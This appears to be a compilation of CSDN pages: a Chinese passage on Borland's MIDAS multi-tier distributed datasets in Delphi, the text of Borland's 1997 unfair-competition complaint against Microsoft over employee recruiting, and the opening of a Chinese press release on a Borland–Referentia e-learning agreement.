---- 分 布 式 数 据 集 可 以 基 于DCOM， 在 客 户 端 没 有 任 何 数 据 库 工 具 的 情 况 下 读 取 远 程 数 据。 有 些 用 户 可 能 会 有 这 样 的 疑 问： 通 过 浏 览 器 和Web 服 务 器 也 能 在 客 户 端 没 有 任 何 数 据 库 工 具 的 情 况 下 观 察 远 程 机 器 上 的 数 据 集， 为 什 么 还 要 采 用 分 布 式 数 据 集 呢 ？ 这 是 因 为 浏 览 器 的 功 能 远 不 如Borland 分 布 式 数 据 集 的 功 能。 如 果 没 有 一 种 强 大 的 第 三 方 工 具（ 如IntraBuilder）， 要 增 强 浏 览 器 的 约 束 条 件， 或 者 在 浏 览 器 中 加 入 或 建 立 一 个 一 到 多 的 关 系 表 是 非 常 困 难 的。 但 这 些 功 能 都 可 以 在Delphi 的 多 层 应 用 程 序 中 简 单 地 实 现，Delphi 的 编 译 应 用 程 序 比 基 于HTML 的 应 用 更 快 速、 更 易 于 应 答。

---- 分 布 式 数 据 集 允 许 在 客 户 端 的 应 用 中 使 用 所 有 标 准 的Delphi 组 件， 包 括 数 据 库 工 具， 但 是 客 户 端 无 须 装 载BDE、ODBC 或 者 任 何 数 据 库 类 库 ( 例 如Oracle SQL ＊NET、 Sybase CT －Lib 等 等) 。 当 然 网 络 上 的 某 些 地 方 需 要BDE 或 类 似 的 引 擎， 但 是 客 户 端 无 须 装 载。 简 言 之， 现 在 只 需 要 一 套 服 务 器 端 的 数 据 库 工 具， 每 一 个 客 户 端 就 可 以 使 用 它。

---- 分 布 式 数 据 集 是 缩 减 网 络 通 信 量 的 一 种 方 法。 从 服 务 器 端 下 载 数 据 后， 在 客 户 端 操 作 数 据 而 无 须 初 始 化 任 何 网 络 交 易， 除 非 需 要 更 改 服 务 器 端。 这 意 味 着 在 不 启 动 网 络 交 易 的 情 况 下， 可 以 编 辑、 插 入、 删 除 多 个 记 录。 更 改 服 务 器 数 据 时， 可 以 在 预 先 选 定 的 时 间 段 内 把 多 个 数 据 包 送 到 网 络 上。

---- 另 外， 当 客 户 端 从 网 络 上 断 开 时， 仍 然 可 以 利 用“briefcase model" 访 问 数 据。 其 操 作 步 骤 如 下： 先 把 一 个 远 程 数 据 库 复 制 到 磁 盘 上， 然 后 关 闭 计 算 机， 再 重 新 引 导 它、 断 开 网 络 连 接、 编 辑 数 据， 接 着 重 新 联 网 并 修 改 数 据 库。 所 有 这 些 都 可 以 在 没 有 大 型 数 据 库 工 具 的 客 户 端 完 成。 这 说 明 为 了 操 作 数 据， 客 户 端 不 必 每 时 每 刻 都 与 服 务 器 连 接。 这 对 于 膝 上 型 计 算 机 用 户 和 想 要 保 持 数 据 库 通 信 量 最 小 的 站 点 是 非 常 理 想 的。

---- MIDAS 技 术 的 另 一 方 面 是 提 供 访 问 数 据 库 约 束 条 件。 当 从 服 务 器 上 卸 载 数 据 时， 可 以 同 时 卸 载 一 套 自 动 执 行 的 约 束 条 件。 约 束 条 件 可 以 帮 助 程 序 员 确 保 用 户 输 入 合 法 的 数 据。 当 重 新 连 到 网 络 上 时， 数 据 可 以 被 正 确 地 修 改。 如 果 你 在 更 改 数 据 库 时 偶 然 发 生 了 一 个 错 误， 那 么 内 建 的 机 制 会 帮 助 程 序 员 报 告 和 处 理 错 误。 例 如， 如 果 另 一 个 用 户 已 经 更 改 了 你 正 试 图 更 改 的 那 条 记 录， 那 么 你 将 看 到 一 个 提 示 你 如 何 处 理 的 选 项 表。 在Delphi Object Repository 中 的 一 个 预 建 表 单 可 以 使 你 的 应 用 程 序 简 单 地 实 现 错 误 处 理。

---- Borland 多 层 计 算 的 另 一 个 重 要 功 能 是 将 数 据 库 的 负 载 分 散 到 多 个 服 务 器 上。 这 样， 一 旦 发 生 错 误 也 能 恢 复。 概 括 起 来 讲， 这 些 技 术 存 在 于 三 种Broker 中：

---- 第 一 种 叫 做Remote Data Broker，Remote Data Broker 结 构 的 精 髓 是 让 每 一 个 客 户 端 不 再 需 要BDE， 取 而 代 之 的 是 一 个 中 央 化 的BDE， 以 集 中 管 理 的 方 式 降 低 每 一 个 客 户 在BDE 上 所 需 的 开 销 和 复 杂 度。

---- 第 二 种 叫 做Constraint Broker， 它 所 扮 演 的 角 色 是 保 证 所 有 客 户 数 据 的 一 致 性 及 数 据 的 完 整 性。

---- 第 三 种 是Business Object Broker， 它 的 目 的 是 给 一 些 关 键 性 的 商 业 应 用 程 序 提 供 一 个 快 速 且 可 信 赖 的 使 用 环 境。 为 了 满 足 这 种 高 层 次 的 要 求，Business Object Broker 会 自 动 地 将 应 用 程 序 做 适 当 的 划 分， 并 复 制 重 要 的 业 务 规 则 到 每 一 个 区 间， 以 达 到 速 度 的 要 求。

实 现 工 具----
Borland 提 供 了 四 种Delphi 工 具 帮 助 用 户 实 现 分 布 式 数 据 集。 前 两 个 在 服 务 器 端：

---- 1. 远 程 数 据 模 块 像 标 准 数 据 模 块 一 样， 它 不 但 可 以 将 数 据 传 播 到 当 前 的 应 用 中， 而 且 会 传 到 网 络 上 的 特 定 区 域 中。 特 别 是 它 们 把 简 单 的 数 据 模 块 转 化 成COM 对 象， 允 许 你 通 过DCOM 访 问 远 程 服 务 器 上 的 数 据 库。

---- 2. TProvider 组 件 就 像 可 以 驻 留 在 标 准 数 据 模 块 中 的TTable 组 件 一 样， 驻 留 在 远 程 数 据 模 块 中， 不 同 的 是TProvider 在 网 络 上 发 布 数 据 表。TTable 和TQuery 组 件 都 含 有Provider 属 性。 但 是 如 果 把 它 作 为 一 个 独 立 的 组 件 访 问， 会 有 更 大 的 灵 活 性 和 力 量。 特 别 是 把TProvider 组 件 与TTable 或TQuery 组 件 建 立 连 接， 网 络 上 的 其 它 程 序 就 可 通 过DCOM 从TTable 或TQuery 访 问 数 据。 远 程 数 据 模 块 的 任 务 就 是 使 客 户 端 访 问 服 务 器 上 特 定 的Provider。

---- 在 客 户 端 可 以 利 用 两 个 组 件 访 问 服 务 器 提 供 的 数 据：

---- 1. TRemoteServer 组 件 把 客 户 端 连 到 服 务 器 上， 特 别 是 连 到 服 务 器 的 远 程 数 据 模 块 上。 更 明 确 地 说 是 连 到 远 程 数 据 模 块 支 持 的COM 接 口 上。TRemoteServer 能 浏 览 可 用 的 服 务 器， 一 旦 找 到 服 务 器，TRemoteServer 就 可 与 之 连 接。

---- 2. TClientDataSet 与TRemoteServer 组 件 连 接 在 一 起， 在 服 务 器 上 就 得 到 一 个 特 定 的Provider 。 简 言 之，TClientDataSet 组 件 扮 演 了 与TQuery 或 TTable 同 样 的 角 色， 只 不 过 它 是 为 远 程 站 点 提 供 数 据 服 务。 如 同 在 许 多 标 准 的Delphi 应 用 程 序 中 传 统TDatabase、 TTable、 TDataSource、TDBGrid 组 件 的 配 置 结 构 一 样， 在 远 程 数 据 集 中 使 用TRemoteServer、TClientDataSet、TDataSource 和 TDBGrid 组 件， 它 们 的 配 置 只 是 稍 有 不 同。 在 这 个 新 的 方 案 中，TRemoteServer 的 作 用 类 似 于TDatabase 的 作 用， 而TClientDataSet 组 件 与TTable 或TQuery 组 件 所 起 的 作 用 又 极 其 相 似。

结 论----
MIDAS 为 多 层 结 构 的 应 用 开 发 提 供 了 强 大 的 功 能， 这 使 得 开 发 者 再 也 无 需 为 越 来 越 庞 大 的 数 据 及 应 用 发 愁 了。 在Delphi 3.0 Client/Server 版 中 打 包 了MIDAS 的 开 发 版， 它 可 以 用 于 多 层 结 构 应 用 的 开 发 及 调 试， 在 应 用 分 布 时， 还 需 要 另 外 购 买Borland MIDAS for Delphi。 MIDAS 是Borland 公 司 金 门 结 构 系 列 产 品 的 一 部 分。 在 不 久 的 将 来， 金 门 结 构 的 其 它 开 发 工 具 如：C ＋ ＋Builder、JBuilder 中 也 将 打 包MIDAS， 以 帮 助 用 户 用C ＋ ＋、Java 语 言 进 行 多 层 结 构 应 用 程 序 的 开 发。


CSDN_文档中心_Borland对Microsoft的法律控诉

Borland
Search Sitemap Contact
Corporate Info Products Downloads Services Support Community Shop Now!

Legal Complaint Filed

Introduction and Summary of Microsoft's Illegal Conduct
The Parties
The Market
The Products
Microsoft's Concerted and Systematic Efforts to Unfairly Compete with Borland
COUNT I
 Claim for Violation of Business & Professions Code Section 17200 et. seq.
COUNT II
 Common Law Unfair Competition
Prayer for Relief
Verification

JAMES A. DiBOISE (# 083296)
ELIZABETH M. SAUNDERS (# 138249)
WILSON SONSINI GOODRICH & ROSATI
650 Page Mill Road
Palo Alto, CA 94304
(415) 493-9300

Attorneys for Plaintiff
BORLAND INTERNATIONAL, INC.

SUPERIOR COURT OF THE STATE OF CALIFORNIA

COUNTY OF SANTA CLARA

BORLAND INTERNATIONAL, INC.,

Plaintiff,

v.

MICROSOFT CORPORATION

Defendant.

 )
)
)
)
)
)
)
)
)
         CASE NO.: CV766013

VERIFIED COMPLAINT FOR VIOLATION OF BUSINESS AND PROFESSIONS CODE SECTION 17200 et seq. AND COMMON LAW UNFAIR COMPETITION

Plaintiff, Borland International, Inc., ("Borland") alleges the following complaint against Microsoft Corporation ("Microsoft"):

Introduction and Summary of Microsoft's Illegal Conduct

1. Borland brings this action to stop Microsoft from systematically targeting and raiding Borland's employees. In the last two weeks, three Borland employees have been targeted and seduced away by Microsoft. Moreover, Microsoft has systematically engaged in a plan and a concerted course of action to unfairly compete with Borland in the software development tools ("tools") business by targeting and recruiting more than 34 of Borland's engineering and marketing employees over the last 30 months. Microsoft's actions were taken with the intent to deprive Borland of the resources Borland needs to successfully remain as the only significant competitor to Microsoft in the tools business.

2. Despite recent operating losses, Borland's new management team is poised to lead the turnaround of the Company's fortunes with the introduction of several new products and timely updates to its existing product lines. Delbert W. Yocam, Borland's Chairman and CEO has assembled a new management team that promises to lead Borland to profitability. Unfortunately, Microsoft views Borland's promise of success as a threat to its business plans for dominance of the tools market. Borland's tools support not only Microsoft platforms, but also other open industry standards. Microsoft's tools, on the other hand, favor Microsoft platforms and technologies. Borland's success in supporting tools for open industry standards is the greatest threat to Microsoft's entrenched dominance of the desk top market.

3. Microsoft has deliberately set out to recruit many of Borland's best engineering, product marketing and managerial employees. In complete disregard of accepted business practices, Microsoft has placed many of Borland's former employees in positions at Microsoft where they work in the same area of software development that they worked on at Borland. Further, these employees are being asked by Microsoft to market and develop the Microsoft products that compete directly with the Borland products they previously marketed and developed. Microsoft's placement of former Borland employees in these positions jeopardizes and threatens the disclosure and misuse of Borland trade secrets and confidential proprietary information.

4. This action is taken not to restrain or prevent Borland's employees from seeking alternative employment opportunities. Indeed, Borland believes in an open and competitive environment where it may freely compete on the merits of its products and where its employees may seek rewarding and challenging employment opportunities. Unfortunately, Microsoft does not believe in fair competition. Microsoft's plan is to recruit, using unfair practices and confidential information, the best software developers and the people who market that software, with the ultimate goal of destroying Borland as a competitor.

1. Microsoft's conduct as alleged further and more detail herein constitutes unfair business practices violative of California Business & Professions Code Sections 17200 et. seq. Borland seeks both injunctive relief and monetary damages.

The Parties

5. Borland International, Inc. is a Delaware Corporation. Borland's principal place of business is located at 100 Borland Way, Scotts Valley, California 95066. Borland develops markets and sells software development tools for client/server and Internet applications.

6. Microsoft Corporation is a Delaware Corporation. Microsoft's principal place of business is located at One Microsoft Way, Redmond, Washington 98052. Microsoft is the world's largest independent software company.

The Market

2. Both Borland and Microsoft are in the business of developing and selling software. Software transforms otherwise practically useless computers into powerful, productivity-enhancing tools for millions of users. Much of the software available in the market today may be placed into one of three general categories: operating systems, applications, and software development tools. Borland manufactures and sells software development tools, while Microsoft produces and sells software in all three categories.

3. Operating systems are computer programs that work closely with computer hardware to provide basic functions, including management of the display shown on the computer's screen, storage of files on the computer's disk drive, and printing of documents on the computer's printer. Microsoft produces (and for years has produced) the world's largest selling operating systems for desktop computers -- DOS, Windows, and Windows NT (hereinafter "Windows"). Indeed, Microsoft is, by far, the dominant provider of desktop operating systems in the world today. Operating systems, however, provide only some of the functions that users need. Typical users are most interested in the specific tasks that the computer running a particular operating system can perform.

4. Applications are the programs that enable computers to perform those tasks. Examples include word processors, spreadsheets, and game programs. Applications may be written so that they will run on only one operating system or in such a manner that they will function properly on multiple operating systems. As the number of applications available for a given operating system increase, so too does the desirability of that operating system. Correspondingly, the fewer applications that are available for a given operating system, the less desirable that operating system becomes. In an effort to cement its dominance of the market for desktop operating systems, Microsoft's strategy is to maximize the number of applications that are compatible only with its Windows products. In sharp contrast, Borland seeks to encourage the development of applications that will run on multiple operating systems.

5. Development of applications, in turn, depends upon products known as software development tools. Development tools are computer programs that enable programmers to create other computer programs, typically applications. As their name suggests, development tools provide programmers with the means to build new applications, either from scratch or from components supplied with the development tools package. Any given development tools package may enable the creation of applications for only one operating system or for multiple operating systems.

6. Borland and Microsoft are the two largest producers of software development tools. Like other aspects of the software industry, Microsoft today dominates the software tools business, but Borland's products and personnel present a substantial challenge to Microsoft's ongoing ability to maintain this dominance -- not just in software tools, but in operating systems as well. That is because, despite Microsoft's dominance, other operating systems -- e.g., Macintosh, OS/2, and Unix -- still exist. The installed base of computers running these operating systems has generated significant demand for applications that will run on multiple operating systems.

7. Despite its size relative to Microsoft, Borland has consistently produced high quality tools products that have been viewed as superior to Microsoft's. In the coming year, Borland intends to release updated versions of its tools as well as new and powerful tools for creating cross-platform Internet applications. Borland today is poised to expand its role as a tools developer and to continue to challenge Microsoft by offering a greater variety of tools choices to applications developers, in part by supporting a broader base of open industry standards.

8. Software development tools are a crucial link in information technology. These tools are the necessary predicate to creating the applications that make computers useful. Because software development tools create applications that must run on a given computer's operating system, tools are crucial to Microsoft's well-known intent to dominate the market for desktop operating systems. The applications created by Microsoft tools favor its operating systems, while the applications created with Borland's tools are not limited to Microsoft's operating systems. The better able Borland is to offer tools that are able to create cross-platform applications, the less able Microsoft will be able to maintain its operating systems dominance. Microsoft's theory of business is to create products that are compatible only with the Windows platform and other Microsoft proprietary system technologies. Other companies, including Borland, favor an open environment and support the development of applications which run on a variety of operating systems and support all major corporate databases as well as all major corporate web browsers and web servers.

9. Borland has traditionally been known for its innovative approaches to software development and for the development of the tools to write software. Currently, Borland is in the middle of a major turnaround effort with a new, dynamic management team led by Delbert W. Yocam. Mr. Yocam has restructured Borland to focus Borland's resources and energies on its core software development tools business. After considerable effort, Borland is poised to turnaround its financial situation and prospects, but it will not succeed if Microsoft is allowed to continue to target and recruit Borland's best employees.

10. As noted previously, Microsoft's development tools favor Microsoft's Windows operating systems and other Microsoft proprietary technologies. Borland's tools, by contrast, are compatible not just with Windows, but with all other open industry standards. Moreover, Borland has developed and continues to develop cross-platform tools that support Java, a portable language created by Sun Microsystems, Inc. that enables programmers to write cross-platform applications. Borland's cross-platform tools, IntraBuilder and JBuilder, support all platforms, including Windows, Macintosh, Unix, OS/2, and any other future platforms.

7. In contrast, Microsoft's support for Java encourages developers to create Windows only applications thereby increasing the likelihood that developers become locked into using the Windows operating system or other proprietary Microsoft technologies. Microsoft's tools are heavily oriented towards Windows and Microsoft proprietary platforms and provide poor support for cross-platform capabilities. Microsoft perceives the efforts by Borland to continue to develop superior Java and other cross-platform development tools as a critical threat to Microsoft's continued dominant position in the industry.

The Products

11. Borland and Microsoft each sell four fundamental types of development tools. The first is a tool that uses 4GL or a fourth generation computer language. With a 4GL tool, a programmer can quickly build applications much faster than with a traditional third generation language. Borland's 4GL tool is called Delphi and Microsoft's directly competing product is Visual Basic. The second type of tool uses the C or C++ computer language. C++ is a more complex language that provides more control over the final product and more options for the application being created. Borland's C++ tool is called C++Builder and Microsoft's directly competing product is Visual C++. The third type of tool uses Sun's revolutionary new Java computer language. Borland's Java tool, due to be introduced this summer, is JBuilder and Microsoft's directly competing product is Visual J++. Finally, the fourth type of tool is a data-driven web server tool that creates cross-platform database applications for the Internet. Borland's web server tool is called IntraBuilder and Microsoft's directly competing tool is Visual InterDev. Microsoft offers its tools together in a so-called Visual Studio Suite.

(Languages) | Borland | Microsoft
Fourth Generation Language (4GL) | Delphi - Windows and open industry standards | Visual Basic -Windows and Microsoft Technologies Only
C++ | C++Builder - Windows and open industry standards | Visual C++ -Windows and Microsoft Technologies Only
Java | JBuilder - cross-platform and open industry standards | Visual J++ - Windows Oriented and Microsoft Technologies Only
Data-Driven Web Server | IntraBuilder - cross platform and open industry standards | Visual InterDev - Windows Oriented and Microsoft Technologies Only

1. Borland's principal product is Delphi, while Microsoft's equivalent product is Visual Basic. Many commentators believe and have stated that Delphi is the superior product of the two. Through Microsoft's dominant position in the Window's operating environment, however, Microsoft has sold more Visual Basic than Borland has sold Delphi. Another key product for Borland is C++Builder. In March, when Borland first shipped C++Builder, it replaced Microsoft's Visual C++ on Windows Magazine's Recommended List.

2. Borland's Delphi and C++Builder are software tools programs that permit users to develop applications for the Windows operating environment and, in addition, support all major corporate databases including Oracle, Sybase, Informix, IBM DB2, Borland InterBase and Microsoft's SQL server. Additionally, Borland's tools support the Microsoft and Netscape web browsers and web servers. Microsoft's equivalent tools favor development of applications that use only Microsoft technologies (Microsoft database, web server and web browser products). Although Microsoft claims that it can provide open database connectivity with these tools, the resulting applications are slow, substandard and not very secure. Microsoft wants to stall development of applications other than those that are specific to Windows operating systems and Microsoft database, web server and web browser products. Unfortunately for Microsoft, it was caught unprepared and surprised by the groundswell of support and adoption of Internet based software systems, which are based on open industry standards. This groundswell of support for development tools and applications that are based on open industry standards, severely undermines and threatens Microsoft's dominant position.

Microsoft's Concerted and Systematic Efforts to Unfairly Compete with Borland

3. When Delphi was first released, Microsoft, like most of the software industry observers, quickly realized that it was a much superior tool than Microsoft's Visual Basic. Borland is informed and believes and on that basis alleges, that Microsoft management was upset that its tools team had not produced a product comparable to Delphi. Microsoft decided that it must quickly make a better product than Delphi. And Microsoft further decided to make available whatever funds were necessary to accomplish this goal.

4. Borland is informed and believes, and on that basis alleges, that the method Microsoft chose to develop its answer to Delphi, as well as to C++ and the Internet tools, was to hire away the people at Borland who had developed Borland's superior products. By taking Borland employees, Microsoft reduces the number of people working on products that can compete with Microsoft and support open industry standards.

5. Microsoft's systematic, targeted recruiting of Borland's technical and marketing employees has been occurring since at least August of 1994 and grew increasingly relentless as Borland remained the only viable competitor to Microsoft in the development tools business. In early 1995, Borland learned that a group of former Borland employees at Microsoft had formed a so-called "Dead Borlanders Society" which met regularly to share information about Borland with Microsoft. Borland was also informed that the "Society" systematically provided Microsoft recruiters with the names of Borland employees who would make good additions to the Microsoft development team.

8. Borland also uncovered evidence that a Microsoft recruiter had possession of and was using a confidential Borland telephone list to make targeted calls. Microsoft went so far as to have its recruiters call Borland employees with invitations to "Microsoft training conferences" at a hotel in San Jose. In fact, no such conferences existed and the calls were made to gain information about Borland technical employees through dishonest means. Borland further learned that Microsoft had set up a "recruitment center" at a San Jose hotel to aid its raiding efforts. Microsoft's recruiters at other times represented themselves as employees of the Federal Government calling Borland to get the names of Borland employees to allegedly send them information or put them on their support lists for contractors. These representations were obviously false inducements to get unsuspecting Borland employees to turn over the names of Borland's talented employees. Borland employees have received hundreds of phone calls from Microsoft recruiters urging them to move to Microsoft.

1. Borland is informed and believes that part of the Microsoft plan was entrusted to Brad Silverberg of Microsoft. Brad Silverberg had been Borland's Vice President of Research & Development prior to being recruited to Microsoft in the Spring of 1989. When Silverberg left Borland, he repeatedly stated that Borland should have no issues regarding the potential threat to Borland's confidential information by his taking a job at Microsoft because he was going to work on a non-competing product at Microsoft. Silverberg, at least at the time he left Borland, clearly understood the problems that arise when a software developer and engineer is asked to work on a directly competing product for a competitor. Silverberg over the years after his departure maintained his contacts at Borland and took a large part of Microsoft's recent efforts to recruit key Borland personnel.

2. In the Summer of 1995, Microsoft recruitment efforts led them to attempt to steal away Delphi's chief architect, Anders Hejlsberg. Microsoft, through Silverberg, attempted to entice Hejlsberg to join Microsoft. Silverberg's and Microsoft's efforts failed after Borland succeeded in convincing Hejlsberg to stay.

3. Microsoft was undeterred by this losing attempt to recruit Hejlsberg and thereby further its goal to deprive the industry of a software architect producing tools that support open industry standards. By the summer of 1996, Borland was undergoing difficult times and management turnover, and Microsoft saw another opportunity. Paul Gross, Borland's Senior Vice President of Research and Development and a key leader of Borland's tools business was making a pitch to be Borland's new CEO. Borland, in turn, was trying to define Gross' role in Borland's future. Borland did not expect Gross to leave; and if he did, the last place Borland expected him to go was Microsoft. Gross had always been vehemently opposed to Microsoft and its way of doing business and had tried to discourage many of Borland's employees from taking jobs there. Representatives of Microsoft set their sights on Gross, however, and one day Silverberg and Bob Muglia of Microsoft arrived outside of Borland's headquarters in a limousine to pick up Gross to recruit him over lunch at an expensive restaurant.

4. Borland is informed and believes, and on that basis alleges, that as part of Microsoft's recruiting effort, Microsoft told Gross that they needed someone to oversee their tools business as they ramped up their software offerings for the Internet world, and Microsoft wanted Gross for this job. Gross had overseen the development of Borland's tools business and now Microsoft wanted him to do the same thing for it. As Gross put it, without even asking him to interview, "Microsoft gave him an offer he could not refuse." Borland is informed and believes, and on that basis alleges, that Microsoft's offer included a $1 million signing bonus, stock options and title to selected real estate in or near Redmond, Washington. Microsoft also informed Gross that it would increase the already substantial offer if he would accept it immediately, even though he had already scheduled a three month sabbatical to plan his wedding.

5. Borland is informed and believes, and on that basis alleges, that Microsoft viewed Gross as key to its successful recruitment of Anders Hejlsberg and other Borland employees in Microsoft's ongoing effort to catch up with and eventually destroy Borland in the tools business. Borland is informed and believes, and on that basis alleges, that Gates participated in the seduction of Gross and spoke to him several times, offering Gross increasing amounts of money to entice him to join Microsoft.

9. In response to Microsoft's offer to Gross and as part of its ongoing effort to help Gross define his role at the Company, on or about September 23, 1996, Gross was invited to Borland's September 24, 1996 Board meeting to discuss his future with Borland. Gross accepted the invitation and indicated his willingness to discuss his options at Borland. That night, however, Gross called Borland Director Bill Miller to say he was going to Microsoft. Borland is informed and believes, and on that basis alleges, that Microsoft had responded to Borland's efforts to keep Gross by immediately offering Gross an additional $500,000 to quit Borland that very day. Gross officially resigned on September 25, 1996. For Borland, it was too late to turn Gross around; his seduction by Microsoft was sealed by a compensation package worth well over $1.5 million despite the fact that Gross would not begin work at Microsoft for at least three months.

6. Microsoft's recruiting efforts at Borland, always relentless, became even more so after Gross's crossover. Around the same time it recruited Gross, Microsoft renewed its efforts to convince Hejlsberg to join Microsoft. After the initial effort to recruit Hejlsberg failed, Silverberg had continued to contact Hejlsberg. In late September 1996, around the time Gross announced his intentions, Silverberg convinced Hejlsberg to take a trip up to Microsoft in Redmond to talk about his employment opportunities at Microsoft. Microsoft arranged this trip at a time when Borland was facing weak financial results, management turnover and badly needed the help and resources of its key employees. In Redmond, Hejlsberg was recruited by Gates, Silverberg and other former Borland employees. Microsoft made a point of telling Hejlsberg how happy the many former Borlanders at Microsoft were. Hejlsberg was reluctant to leave California, but Microsoft offered him a $1.5 million signing bonus, over a base salary of approximately $150,000 to $200,000 and extremely lucrative options to purchase 75,000 Microsoft shares.

7. Hejlsberg discussed the Microsoft offer with Borland management. He was clearly torn about what to do and invited a counter offer from Borland if it could be made quickly. He explained to Borland that a counter offer had to be forthcoming promptly because Microsoft had given him a short deadline for accepting its offer. On Friday, October 4, 1996, Borland director David Heller sent Hejlsberg Borland's counter offer. Hejlsberg seemed pleased by Borland's offer and the opportunity it gave him to stay in California. He indicated to Heller that day that he thought he would accept Borland's offer. On Saturday morning (the next day), however, Hejlsberg called Heller and said he now felt he had to accept Microsoft's offer. Indeed, overnight and in response to Borland's offer, Microsoft had promised Hejlsberg another $1.5 million to join it. Hejlsberg indicated to Heller that Gates had been applying "incessant" and "intense" pressure to get him to work at Microsoft. On October 30, 1996, Hejlsberg, the principal architect of Borland's Delphi product and a significant participant in Borland's future product development plans, left Borland and went to work for Microsoft developing "Delphi for Java."

8. Microsoft's continuous raiding did not stop after Microsoft took the top Borland strategist and Borland's top tools developer. Before 1996 was out, Ramin Halviatti, a Delphi Development Manager and, Jean Marie Babet, a C++ R&D engineer, had moved to Microsoft. In the past few weeks alone Microsoft has successfully recruited at least three more key Borland employees: Bill Dunlap, Marie Huwe, and Roland Fernandez.

9. In April 1997, Microsoft hired two Borland marketing managers. Both Bill Dunlap, the Product Manager for JBuilder and Marie Huwe, the Product Marketing Manager for C++Builder, left Borland with detailed knowledge of its product strategies, planned product features, marketing plans, positioning strategies on unreleased products, program statuses and personnel positions and talents. Borland is informed and believes, and on that basis alleges, that each is doing the same job at Microsoft, except rather than managing marketing for JBuilder, Dunlap is now marketing the competitive product, Visual J++, and rather than marketing C++Builder, Huwe is marketing Visual C++.

10. In April 1997, Microsoft also hired Borland's senior Architect for its C++Builder product. Roland Fernandez, who resigned from Borland on April 25, 1997 played the key role in Borland's development of C++Builder, Borland's Rapid Application Development ("RAD") tool for C++. He left Borland with detailed knowledge of the overall architecture and feature set definition of C++Builder. At Microsoft, he is now doing exactly the same thing: creating a RAD C++ tool that competes directly with C++Builder. Unable to fix its tools products on its own, Microsoft has recruited Borland knowledge to do it. Minds that previously worked on products that support a wide variety of open industry standards are now limited to products that now support Microsoft platforms and proprietary technologies.

10. Microsoft has also begun to display complete disregard for the threat of trade secret misappropriation that may accompany its placing former Borland employees in the same jobs on competing products at Microsoft. In addition to the three most recent hires, both Gross and Anders were privy to large amounts of Borland proprietary and confidential information, including negative knowledge concerning the pitfalls and mistakes to avoid when developing a new software tool. Gross was involved in and had intimate knowledge of Borland's confidential plans regarding products and long term strategy. Both are now working on the same types of projects at Microsoft that they worked on at Borland.

COUNT I

Claim for Violation of Business & Professions Code Section 17200 et. seq.

11. Microsoft has engaged in unfair competition in violation of B&P Code ' 17200 et seq., committing many of the unfair acts and causing much of the injury to Borland in Santa Clara County and elsewhere through California and the world. Microsoft's unfair acts include raiding Borland employees with the intent to prevent Borland from being able to compete against Microsoft in the marketplace. Microsoft and Borland directly compete for talented software engineers. Borland and Microsoft directly compete in the design, development and sale of software development tools. Microsoft willfully, deliberately, according to a preconceived plan, and with the intention of harming Borland, hired 34 Borland employees since August, 1994 to specifically injure Borland and to obtain Borland=s confidential and proprietary information. Borland is informed and believes, and on that basis alleges, that Microsoft=s solicitation and recruitment of Borland employees is intentional and being done for wrongful purposes: to inhibit Borland=s competitive position and to acquire employees who have knowledge of Borland trade secrets and confidential information -- all for the purpose of unfairly benefiting Microsoft. As a result Microsoft has engaged in and continues to engage in unfair competition in violation of California law.

12. Microsoft willfully, deliberately, according to its plan, and with the intention of harming Borland, hired at least 34 former employees of Borland and set them out to use their knowledge of tools development, some of which is proprietary to Borland, to create tools for Microsoft. Microsoft continues, and will continue unless restrained, to accomplish this illegal course of conduct by continuing to solicit and recruit Borland employees.

13. >Borland is informed and believes, and on that basis alleges, that Microsoft=s solicitation and recruitment of Borland employees is intentional and being done for wrongful purposes: to inhibit Borland's competitive position in this technology area and to acquire Borland confidential information -- all with the express intent and purpose of unfairly benefiting Microsoft.

14. Microsoft's threatened use of Borland's trade secrets and confidential information in the development of Microsoft's software development tools, as well as the identity of key employees to recruit, improperly obtained from former Borland employees, inures to the benefit of Microsoft and to the irreparable harm of Borland.

15. As a result, Microsoft is guilty of unfair business practices and is in violation of California Business and Professions Code Section 17200 et seq.

COUNT II

Common Law Unfair Competition

16. Borland incorporates by reference each and all of the allegations contained in paragraphs 1-41 above.

17. Borland and Microsoft directly compete in software development tools. The foregoing acts of Microsoft were done without justification and for the wrongful purpose of injuring Borland and inhibiting Borland's competitive position in this technology area -- all for the purpose of unfairly benefiting Microsoft. As a result, Microsoft has engaged, and continues to engage, in unfair competition in violation of California Law.

Prayer for Relief

WHEREFORE, plaintiff Borland respectfully prays that judgment be entered in favor and against Microsoft, and that Borland be granted the following relief:

  1. An order enjoining Microsoft, for a reasonable time, from targeting, recruiting or hiring any Borland employee to work at
    Microsoft or purposely inducing any Borland employee to move to Microsoft;
  2. For damages caused by Microsoft's unfair business practices in an amount in excess of the jurisdictional limit of this Court;
  3. Attorneys fees and costs; and
  4. Such other and further relief as this Court may deem just and proper.

    Dated: May 7, 1997 WILSON SONSINI GOODRICH & ROSATI

    By__________________________________
    James A. DiBoise

    Attorneys for Plaintiff
    BORLAND INTERNATIONAL, INC.

    VERIFICATION

    I, Hobart Birmingham, declare:

    I am a Vice-President and the General Counsel of Borland International, Inc., plaintiff herein, and am authorized to make this verification on its behalf. I have read the foregoing Complaint For Violation of Business and Professions Code Section 17200, et. seq. and hereby state that I am informed and believe, on the basis of my own and others' investigation, that the facts stated herein, other than those facts alleged on information and belief, are true and correct.

    I declare under penalty of perjury under the laws of the State of California that the foregoing is true and correct and that this Verification is executed on the 7th day of May, 1997 at Scotts Valley, California.

    ___________________________________

    Hobart Birmingham

    top of page
    Home | Corporate Info | Products | Downloads | Services | Support | Community | Shop Now!
    Search | Site Map | Contact Us | Worldwide

    Privacy Statement | Legal Notices | Report Software Piracy

    Copyright © 1994 - 2001 Borland Software Corporation. All rights reserved
    Last Modified Thursday, 29-Jun-00 13:25:06 PST


CSDN_文档中心_Borland和Referentia合作，将推出全线产品的E-Learning培训软件

2001-01-08

Borland和Referentia系统一体化公司扩展e-Learning协定以覆盖所有的Borland软件解决方案
新的交互式培训产品将帮助用户快速地成为Borland电子商业实现平台的能手

SCOTTS VALLEY, Calif. - January 8, 2001 -- Inprise 公司 (Nasdaq: INPR)，这里称为 Borland，今天和e-Learning先锋Referentia系统一体化公司宣布了一项单独协定，以为所有Borland流行的软件解决方案开发一整套丰富的，交互式的，进度自调的培训产品 。Referentia 和 Borland先前已合作开发出一个Borland® JBuilder™ 4的培训样本，它包括8个动画培训教程和概念概述，目的在于帮助新用户对JBuilder 4很快就能上手。Referentia现在将扩展它的产品到Borland的整个产品线，以让客户们可以开发，部署和管理电子商务应用程序。

